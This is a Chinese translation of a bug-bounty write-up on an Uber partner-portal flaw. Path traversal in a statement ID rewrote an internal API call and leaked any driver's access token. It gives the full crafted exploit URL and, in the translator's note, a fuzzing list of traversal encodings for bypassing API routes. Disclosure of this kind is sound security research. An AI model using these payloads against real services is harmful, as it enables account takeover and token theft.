原文:
https://ngailong.wordpress.com/2019/04/07/old-but-gold-dot-dot-slash-to-get-the-flag-uber-microservice/
Uber建立在许多微服务上,自然地,如果您想与微服务进行交互,则可能需要使用一些REST api来实现。假设您要获取驾驶员的过去旅行历史记录,则调用一个看起来像这样的API
https://localhost:1234/partner/PARTNER_UUID/trips?from=2018-01-01&to=2019-01-01
显然,所有这些操作都是在后端执行的,因为通常内部微服务没有权限检查或其他安全措施来防止IDOR攻击。如果所有这些API调用都是预定义的路径/变量/主机,那么执行授权检查的意义何在?用户仍然无法控制请求。
仅当用户确实无法控制API调用时才如此,早在2018年初,我在partners.uber.com中发现了一个有趣的端点来获取司机的月度账单,看起来像这样。
https://partners.uber.com/p3/money/statements/view/current
请求本身没有什么用,但响应确实是我感兴趣的原因
{
"request": {
"uri": {
"protocol": "http:",
"slashes": true,
"auth": null,
"host": "127.0.0.1:123",
"port": "123",
"hostname": "127.0.0.1",
"hash": null,
"search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
"query": "earnings_structure_type=&locale=en&user_id=xxxxx",
"pathname": "/v1/partners/xxxxx/statements/current",
"path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
"href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
},
"token": "ACCESS_TOKEN_OF_USER"
}
...
}
显而易见的是,API调用正在当前在https://partners.uber.com/p3/money/statements/view/current,并拼接到/v1/partners/xxxxxx/statements/,如响应所示。查询部分也被添加到调用中。完整的内部GET请求如下所示
http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx
这是非常有趣的,因为从响应中得到了两个观察结果,第一个重要的发现是它具有您的超级用户的访问令牌,我们知道为什么这很有趣。
第二个是请求中没有x-auth-header或授权标头,但是它仍然返回用户的访问令牌作为响应!这意味着,如果我们能以某种方式操纵请求改变my_user_uuid到victim_uuid的请求。然后,我们可以通过从响应中获取受害者的访问令牌来接管受害者的帐户。我需要找到一个可以执行以下操作的接口:
· 将任何参数传递给该内部GET请求
· 在内部传递GET编码字符以摆脱不必要的查询(%23即 #会破坏查询部分)
· 查看完整回复
事实证明,一个非常类似的要求使我能够完成所有这些工作
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa
Response of the GET request
"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"
我认为语句uuid 4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa传递给内部API GET请求,用于路径和查询部分。我通过发送此请求来验证
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa
而且响应仍然是相同的,它证明了../对于逃避路径很有用!因此很明显下一步该做什么。一直到根进行转义,然后制作一个请求,看起来就像一个将返回访问令牌的响应,然后使用#取消不必要的部分
我们要发起的目标请求
http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid
要求由我们控制
http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id
这是我想出的最后一个请求
https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23
响应正如预期的那样
http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#......
现在,我们可以通过更改请求中的VICTIM_UUID来获取任何用户的访问令牌。
译者按:
在测试API的时候可以通过添加 ../
来bypass路由,达到访问内部其他路径的效果。还可以通过以下字符进行fuzzing:
/api/get-user/..%2f
/api/get-user/..;/
/api/get-user/../
/api/get-user/..%00/
/api/get-user/..%0d/
/api/get-user/..%5c
/api/get-user/..\
/api/get-user/..%ff/
/api/get-user/%2e%2e%2f
/api/get-user/.%2e/
/api/get-user/%3f (?)
/api/get-user/%26 (&)
/api/get-user/%23 (#)
参考:https://samcurry.net/hacking-starbucks/
本文迁移自知识星球“火线Zone”